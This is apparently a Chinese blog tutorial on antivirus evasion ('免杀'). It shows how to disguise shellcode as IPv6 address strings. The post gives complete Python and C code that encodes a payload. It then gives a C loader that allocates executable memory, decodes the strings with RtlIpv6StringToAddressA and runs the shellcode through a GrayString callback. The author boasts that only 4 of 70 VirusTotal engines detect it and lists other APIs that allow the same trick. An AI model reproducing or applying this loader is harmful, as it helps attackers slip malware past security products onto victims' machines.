Contents

[免杀]ipv6格式shellcode免杀

0x00.前言

众所周知 IPV6的格式为

0
xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx
每个部分有4个十六进制数组成 相当于2byte

0x01.原理

我们可以将shellcode转换为这样的格式 然后利用windows的API RtlIpv6StringToAddressA 进行将我们IPV6字符串转化为十六进制的shellcode 存在堆栈或者段中然后执行

0x02.实践

在Python中我们可以利用ipaddress下的IPv6Address 类的构造函数进行将十六进制的字符串转化为shellcode 具体实现代码:

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import ipaddress

buf = b'''\xff\x0A\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff'''


def convertToIPV6(shellcode):
    if len(shellcode)%16 !=0:
        print("shellcode大小:",len(shellcode)+(16-(len(shellcode)%16)))
        addNullbyte = b"\x00" * (16-(len(shellcode)%16))
        shellcode += addNullbyte

    ipv6 = []
    for i in range(0, len(shellcode), 16):
        ipv6.append(str(ipaddress.IPv6Address(shellcode[i:i+16])))
    print(ipv6)
if __name__ == '__main__':
    r = convertToIPV6(buf)
    print(str(r).replace("'","\""))

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include "stdafx.h"
#include <windows.h>
#include <stdint.h>
#include <ip2string.h>
#include <stdio.h>

#pragma comment(lib,"ntdll")
typedef struct in6_addr {
	union {
		UCHAR  Byte[16];
		USHORT Word[8];
	} u;
} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;

int main()
{
	DWORD   nread;
	uint8_t * payload;
	int idx, nitem = 0;
	SIZE_T  remainder, multiple = 16;
	in6_addr * ip6;
	char    buffer[20];
	HANDLE file = CreateFile(L"shellcode.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	SIZE_T payload_len = GetFileSize(file, NULL);
	remainder = payload_len % multiple;
	if (remainder)
	{
		payload_len += (multiple - remainder);
	}
	payload = (uint8_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, payload_len);
	ReadFile(file, payload, payload_len, &nread, NULL);
	ip6 = (in6_addr*)payload;
	printf("{ \n");
	for (idx = 0; idx < payload_len; idx += multiple, nitem++, ip6++)
	{
		RtlIpv6AddressToStringA(ip6, buffer);

		printf("  \"%s\",\n", buffer);
	}
	printf("}\n");
	printf("item-size: %d\n", nitem);
	HeapFree(GetProcessHeap(), 0, payload);
	return 0;
}

然后就是我们的Loader

先是用CreateFileMapping 来创建文件映射 MapViewOfFile 来将文件映射的视图映射到调用进程的地址空间。

然后利用回调函数执行我们的shellcode

 0
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include "stdafx.h"
#include <Windows.h>
#include <iostream>
#include <ip2string.h>
#pragma comment(lib, "Ntdll.lib")

typedef struct in6_addr {
	union {
		UCHAR  Byte[16];
		USHORT Word[8];
	} u;
} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;
const char* payload[] =
{
/* 这里写ipv6的shellcode*/
};

int main()
{
	size_t itemlen = sizeof(payload)/sizeof(char*);
	PCSTR terminator = "";
	HANDLE mapfile = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)0x10000, NULL);
	PVOID sc = MapViewOfFile(mapfile, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0x10000);
	in6_addr* ipv6ptr = (in6_addr*)sc;
	for (size_t i = 0; i < itemlen; i++)
	{
		ipv6ptr++;
		RtlIpv6StringToAddressA(payload[i], &terminator, ipv6ptr);
	}
	GrayString(0, 0, (GRAYSTRINGPROC)sc, 1, 2, 3, 4, 5, 6);
	return 0;
}

0x02.效果

https://cdn.nlark.com/yuque/0/2023/png/23074926/1674393217269-8c60a3f8-eda8-4ac7-b8dc-77a819a5c12e.png#averageHue=%23fefdfd&clientId=uca383f2d-c65e-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=609&id=uf9cb0248&margin=%5Bobject%20Object%5D&name=image.png&originHeight=609&originWidth=1607&originalType=binary&ratio=1&rotation=0&showTitle=false&size=59767&status=done&style=none&taskId=uba9e3f77-02f3-4e19-9ed3-adc3587866e&title=&width=1607 Virustotal: 4/70

0x03.举一反三

如同类似的还有 ipv4/uuid/网卡地址 API:

RtlEthernetStringToAddress
RtlIpv4StringToAddress
RtlIpv6StringToAddress
UuidFromString